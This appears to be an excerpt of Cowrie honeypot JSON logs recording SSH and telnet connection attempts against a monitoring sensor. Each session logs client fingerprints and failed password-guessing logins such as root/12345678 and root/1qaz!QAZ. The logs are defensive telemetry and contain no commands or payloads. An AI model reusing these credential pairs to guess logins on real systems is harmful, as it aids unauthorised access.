{"eventid":"cowrie.session.closed","duration":120.09002137184143,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:01.923435Z","src_ip":"152.42.224.71","session":"b3b7eef815b6","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:02.002125Z","src_ip":"192.109.200.237","session":"b74ba920b3aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:02.007503Z","src_ip":"192.109.200.237","session":"b74ba920b3aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47544,"dst_ip":"159.203.135.109","dst_port":22,"session":"04ffc747543b","protocol":"ssh","message":"New connection: 192.109.200.237:47544 (159.203.135.109:22) [session: 04ffc747543b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:04.467765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:04.472476Z","src_ip":"192.109.200.237","session":"04ffc747543b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:04.554177Z","src_ip":"192.109.200.237","session":"04ffc747543b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:04.910597Z","src_ip":"192.109.200.237","session":"04ffc747543b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:05.995915Z","src_ip":"192.109.200.237","session":"04ffc747543b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47548,"dst_ip":"159.203.135.109","dst_port":22,"session":"6af976983f53","protocol":"ssh","message":"New connection: 192.109.200.237:47548 (159.203.135.109:22) [session: 6af976983f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:07.758237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:07.763594Z","src_ip":"192.109.200.237","session":"6af976983f53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:07.845634Z","src_ip":"192.109.200.237","session":"6af976983f53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:08.092229Z","src_ip":"192.109.200.237","session":"6af976983f53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:09.177212Z","src_ip":"192.109.200.237","session":"6af976983f53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47240,"dst_ip":"159.203.135.109","dst_port":22,"session":"435f7b45d29e","protocol":"ssh","message":"New connection: 192.109.200.237:47240 (159.203.135.109:22) [session: 435f7b45d29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:10.897975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:10.902617Z","src_ip":"192.109.200.237","session":"435f7b45d29e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:10.984808Z","src_ip":"192.109.200.237","session":"435f7b45d29e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:11.263841Z","src_ip":"192.109.200.237","session":"435f7b45d29e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0015013217926,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:11.807487Z","src_ip":"152.42.224.71","session":"11d918377b6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:12.349466Z","src_ip":"192.109.200.237","session":"435f7b45d29e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47250,"dst_ip":"159.203.135.109","dst_port":22,"session":"3164bc35cc10","protocol":"ssh","message":"New connection: 192.109.200.237:47250 (159.203.135.109:22) [session: 3164bc35cc10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:14.221479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:14.229649Z","src_ip":"192.109.200.237","session":"3164bc35cc10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:14.305524Z","src_ip":"192.109.200.237","session":"3164bc35cc10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:14.624471Z","src_ip":"192.109.200.237","session":"3164bc35cc10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:15.709951Z","src_ip":"192.109.200.237","session":"3164bc35cc10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47258,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ec8125adddc","protocol":"ssh","message":"New connection: 192.109.200.237:47258 (159.203.135.109:22) [session: 3ec8125adddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:17.414363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:17.419113Z","src_ip":"192.109.200.237","session":"3ec8125adddc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:17.501525Z","src_ip":"192.109.200.237","session":"3ec8125adddc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:17.873451Z","src_ip":"192.109.200.237","session":"3ec8125adddc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:19.063758Z","src_ip":"192.109.200.237","session":"3ec8125adddc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45062,"dst_ip":"159.203.135.109","dst_port":22,"session":"f270ab57b39c","protocol":"ssh","message":"New connection: 192.109.200.237:45062 (159.203.135.109:22) [session: f270ab57b39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:20.595371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:20.599978Z","src_ip":"192.109.200.237","session":"f270ab57b39c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:20.683068Z","src_ip":"192.109.200.237","session":"f270ab57b39c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40874,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef1978673964","protocol":"telnet","message":"New connection: 152.42.224.71:40874 (10.17.0.5:23) [session: ef1978673964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:20.807432Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:20.929588Z","src_ip":"192.109.200.237","session":"f270ab57b39c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:22.013305Z","src_ip":"192.109.200.237","session":"f270ab57b39c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45074,"dst_ip":"159.203.135.109","dst_port":22,"session":"10c2a0564e98","protocol":"ssh","message":"New connection: 192.109.200.237:45074 (159.203.135.109:22) [session: 10c2a0564e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:23.930737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:23.935202Z","src_ip":"192.109.200.237","session":"10c2a0564e98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:24.020630Z","src_ip":"192.109.200.237","session":"10c2a0564e98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:24.266677Z","src_ip":"192.109.200.237","session":"10c2a0564e98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:25.352524Z","src_ip":"192.109.200.237","session":"10c2a0564e98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45078,"dst_ip":"159.203.135.109","dst_port":22,"session":"20f07af43689","protocol":"ssh","message":"New connection: 192.109.200.237:45078 (159.203.135.109:22) [session: 20f07af43689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:27.140004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:27.144789Z","src_ip":"192.109.200.237","session":"20f07af43689","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:27.226841Z","src_ip":"192.109.200.237","session":"20f07af43689","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53544,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa697eddc21b","protocol":"ssh","message":"New connection: 103.153.68.219:53544 (10.17.0.5:22) [session: aa697eddc21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:27.274079Z"}
